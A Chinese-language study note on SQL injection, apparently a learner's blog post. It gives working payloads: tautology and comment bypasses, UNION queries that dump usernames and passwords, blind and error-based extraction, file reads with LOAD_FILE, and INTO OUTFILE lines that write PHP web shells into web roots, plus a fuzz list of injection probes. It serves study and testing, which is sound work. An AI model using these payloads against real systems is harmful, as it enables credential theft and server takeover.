sql注入笔记@Biscuit19
sql注入笔记
被迫转web了,总结一下sql注入吧,笔记源于@**Biscuit19_**;
0x01 sql基础
一、插入更新删除
1 | CREATE TABLE table_name (column_name column_type); |
二、常用到的通用字段
information_schema是整个数据库
information_schema里的表:
- information_schema.schemata为所有数据库信息,包含:
- 其中的字段:
- schema_name: 所有数据库名
- information_schema.tables为所有表的信息,包含:
- 其中的字段:
- table_schema: 表所在的数据库名
- table_rows表的行数(有多少条数据)
- table_name 记录数据表名
- information_schema.columns为所有字段的信息,包含:
- 其中的字段:
- column_name字段名
- table_name 字段所在的表名(用于条件查询)
- table_schema 字段所在数据库名(用于条件查询)
- column_type 字段类型
三、常用语法:
1.基础
在最基础的查询语句中,我们直接使用如下语法进行查询,并使用where作为条件限制:
1 | select field1,field2,...fieldn... from 表名 [where 条件]; |
2.Order by
order by 字段名(列名
进一步的,我们为了更好的排序输出结果,可以用orderby来控制结果的排序(asc为顺序,desc为逆序):
select * from 表名 [where 条件] [ order by field1 [desc/asc],field2 [desc/asc]… ];
举个例子:
以逆字母顺序显示公司名称,并以数字顺序显示顺序号:
1 | SELECT Company, OrderNumber FROM Orders ORDER BY Company DESC, OrderNumber ASC |
order by 数字
含义:order by+列名 就是按某一列的排序进行查找,默认升序, 加数字就是第几列的意思,如下
sql语句中order by 1或者order by 2…order by N
其实1表示第一个字段,2表示第二个字段;
依此类推,当表中只有2个栏位时,order by 3就会出错, 所以就说明列表只有2个字段, 是用来报字段名的
3.limit
**!!!从0开始!!! **
1 | SELECT * FROM table LIMIT [offset,] rows | rows OFFSET offset |
第一个参数指定从第几行开始查,第二个参数指定要查几行。初始记录行的偏移量是 0(而不是 1)
举个例子:
1 | SELECT \* FROM table1 LIMIT 5,10; # 检索记录行 6-15\* |
4.UNION(联合查询)
- UNION必须由两条或两条以上的SELECT语句组成,语句之间用关键字UNION分隔
- UNION中的每个查询必须包含相同的列,然后会将这两个结果通过这个相同的列链接起来。
- UNION会从查询结果集中自动去除了重复行,UNION ALL不会。
5.concat_ws()函数
简单的说,就是一个字符串连接函数:
功能:和concat()一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符;(concat_ws就是concat with separator)
语法:concat_ws(separator, str1, str2, …)
举个例子
SELECT CONCAT_WS(‘,’,’First name’,NULL,’Last Name’);返回结果为
+———————————————-+
| CONCAT_WS(‘,’,’First name’,NULL,’Last Name’) |
+———————————————-+
| First name,Last Name |#可以看到通过逗号分隔了
+———————————————-+e
**concat()**和它一样,只不过是少了分隔符,就是单纯的多个字符串连接成一个字符串
6.group_concat(+concat_ws)
功能:把查询到的很多行合成一行来写
语法:group_concat( [distinct] str1,str2… [order by 排序字段 asc/desc ] [separator ‘分隔符’] ):
默认就是以 ,为分隔符
1 | SELECT (GROUP_CONCAT(mk_username,mk_password)) FROM demouser.mk_users |
0x02 常用语句
一、爆数据库信息常用语句
1.用户数据库版本,管理员用户名及数据库名字
1 | id=-1 union select version(),user(),5,database() |
2.爆所有数据库名:
1 | select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA |
3.爆某数据库中的所有表名:
1 | select 1,group_concat(table_name) from information_schema.tables where table_schema='数据库名' |
注意:数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制。
类似TABLE_SCHEMA=0x674657374
4.爆某数据库中某表的所有字段名:
select group_concat(COLUMN_NAME) from information_schema.COLUMNS where
TABLE_SCHEMA=’数据库名’and TABLE_NAME=’表名’
5.爆某表中的所有信息,用逗号分隔
select GROUP_CONCAT(concat_ws(‘,’,st1,st2…)) FROM 数据库名.表名
、
0x03 常见注入类型
一、字符型注入,判断引号闭合:
‘ or ‘1’=’1
“ or “1”=”1
原理:
select * from mk_users where mk_username=’Biscuit19_’ and mk_password=’’ or ‘1’=’1’
二、注释型注入
‘or 1=1 #
select * from mk_users where mk_username=’Biscuit19_’ and mk_password=’’ or 1=1 #’
Biscuit19_’ or 1=1 #
select * from mk_users where mk_username=’Biscuit19_’ or 1=1 #’ and mk_password=’123334’
没有显示位
三、union注入
{“userName”:”Biscuit19_”,”userType”:”USER”,”filePath”:””}
{“userName”:”Biscuit19_’ union select 1,2,3,4 #”,”userType”:”USER”,”filePath”:””}
用来合并两个或多个 SELECT 语句的结果集
select dir_name as FileName,dir_type as FileType,update_time as
RecentEditTime,creator_name as Creater from file_dir where creator_name=’Biscuit19_’ union select 1,2,3,4 #’
多了一个元组
{“userName”:”Biscuit19_’ union select database(),user(),version(),4 #”,”userType”:”USER”,”filePath”:””}
{“userName”:”Biscuit19_’ union select (select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA),user(),version(),4 #”,”userType”:”USER”,”filePath”:””}
{“userName”:”Biscuit19_’ union select (select group_concat(table_name) from information_schema.tables where table_schema=’数据库名’),user(),version(),4 #”,”userType”:”USER”,”filePath”:””}
{“userName”:”Biscuit19_’ union select (select group_concat(table_name) from information_schema.tables where table_schema=’demouser’),user(),version(),4 #”,”userType”:”USER”,”filePath”:””}
{“userName”:”Biscuit19_’ union select (select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=’demouser’and TABLE_NAME=’mk_users’),user(),version(),4 #”,”userType”:”USER”,”filePath”:””}
{“userName”:”Biscuit19_’ union select (select GROUP_CONCAT(concat_ws(‘,’,mk_id,mk_username,mk_password,mk_email,mk_enabled,create_time,update_time)) FROM demouser.mk_users),user(),version(),4 #”,”userType”:”USER”,”filePath”:””}
四、布尔盲注
页面在执行sql语句后,只会显示两种结果,这时可通过构造逻辑表达式的sql语句来判断数据的具体内容。
注意:布尔盲注是逻辑运算而不是输出值,所以and后面接的是逻辑表达式;还有,必须select出来结果才能比较
1=1 是没有结果的
SELECT 1=1 才有结果,结果是1(true),这里指的是函数()需要select 出来比较,而不是说1=1就没有结果,1=1的结果就是true,这句话的意思就是这种函数得到的值要select出来才可以
(select length(database())=3)
1.所用函数
length()
函数可返回字符串的长度,用于碰撞出数据库名字的长度。
1 | select length(database()); |
substring()
substring()函数可以截取字符串,可指定开始的位置和截取的长度,用于进一步剪切。
1 | select substring('test',1,3); |
substring的第一位是1,不是0,所以至少从1开始
ord()
ord()函数可以返回单个字符的ASCII码
1 | select substring(database(),1,1); |
因此,通过(select ord(substring(database(),1,1))=31)这样的语句反复碰撞,就能得到数据库名!
即只需要和这些字符的ASCII值进行比较:
0-9:48-57 _:95
A-Z:65-91 a-z:97-122
全查:33-126
2 手工注入
判断注入点
因为sql执行失败和未查到数据都会返回False,所以只能通过返回的逻辑值来判断,如果有类似如下这种情况,则存在布尔盲注
也可以通过sleep(3)来试试,看看会不会停止3s,如果停止了,说明后面的语句也执行了
1 | /* 整型注入 */ |
注意!当你连一个正确的参数都没有的时候,你要直接闭合然后把and改成or来判断,此时前一个条件为false,用or后面来决定对错,where username=’’ or 1=1 /1=2 如:
1 | user_name=' or 1=1 # |
五、时间盲注
基本上和布尔盲注是一样的。
{“username”:”Biscuit19_’ and if(1=1,sleep(3),1) #”,”password”:” “}
select * from mk_users where mk_username=’Biscuit19_’ and if(1=1,sleep(1),1) #’ and mk_password=’ ‘
六、报错注入
ExtractValue()报错注入
extractvalue():从目标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
需要注意,extractvalue()能查询字符串的最大长度为32,
报错原理
例如
SELECT ExtractValue('<a><b><b/></a>', '/a/b');
就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。
也就是说,我们在第二个参数里输出的错误信息会原封不动的报错报出来,所以我们就通过这个来执行注入(当显示位)。
约束条件
输出字符长度限制为32个字符,可以用MID函数等操作
注入语句
and extractvalue(null,concat(0x7e,(代码操作),0x7e))
(这里的0x7e是 ~ 波浪号,只是为了好看)
举例
select * from users where id and extractvalue(null,concat(0x7e,(select version()),0x7e));
MID函数
MID()
函数用于从文本字段中提取字符。 SELECT MID(column_name,start[,length]) FROM table_name;
1 | mid((select flag from flag),1,16)//从1开始截16个,即1-16 |
updatexml()报错注入
updatexml()函数与extractvalue()同理,第二个参数会被原封不动输出。
语法updatexml(目标xml文档,xml路径,更新的内容)
注入:
and (updatexml(‘1’,concat(0x7e,(代码操作),0x7e),’1’))
七、读写文件
load_file()
1.使用条件
- 有读取文件的权限 r
and (select count(*) from mysql.user)>0
如果返回正常则说明有权限,反之没有
文件大小不能超过max_allowed_packet
secure_file_priv的值不为NULL
使用
必须指定完整路径的文件,而且必须有FILE权限
1 | select LOAD_FILE('D:/1.txt') |
输出文件内容,括号里必须是绝对路径
同样的,它也可以使用substring:
1 | SELECT SUBSTRING(LOAD_FILE('D:/1.txt'),5,1) |
outfile()
写文件的,就是把select出来的所有东西都写进这个路径的文件中
1.当对于单引号过滤的时候,就完犊子了,因为绝对路径必须有单引号,十六进制和ASCII都不行
2.outfile经典一句话select '<?php eval($_POST[cmd])?>' into outfile 'd:/muma.php'
注意路径符号:错误“\” 正确”\“ 正确”/“。如果将路径转换为16进制就可以不用引号。
3.必须要有可写的权限。w
4.如果单引号过滤,能找到phpmyadmin也行
5.linux真的是权限不行,必须给相关的目录包括父目录用户o开启W权限
1 | SELECT ('<?php @eval($_POST["hack"])?>') into outfile"/var/www/html/ma.php" |
如何去判断SQL注入漏洞
- and 1=1 / and 1=2 回显页面不同(整形判断)
- 单引号判断 ‘ 显示数据库错误信息或者页面回显不同(整形,字符串类型判断)
- \ (转义符)
- -1/+1 回显下一个或上一个页面(整型判断)
- and sleep(5) (判断页面返回时间)
0x04 注入检测
一、常见的注入点
- GET/POST/PUT/DELETE参数
- X-Forwarded-For
- 文件名
二、Fuzz注入点
'
/"
1/1
1/0
and 1=1
" and "1"="1
and 1=2
or 1=1
or 1=
' and '1'='1
+
-
^
*
%
/
<<
>>
||
|
&
&&
~
!
@
- 反引号执行
三、测试用常量
@@version
@@servername
@@language
@@spid
四、注释符
#
--+
/*xxx*/
/*!xxx*/
/*!50000xxx*/
五、 判断过滤规则
- 是否有trunc
- 是否过滤某个字符
- 是否过滤关键字
- slash和编码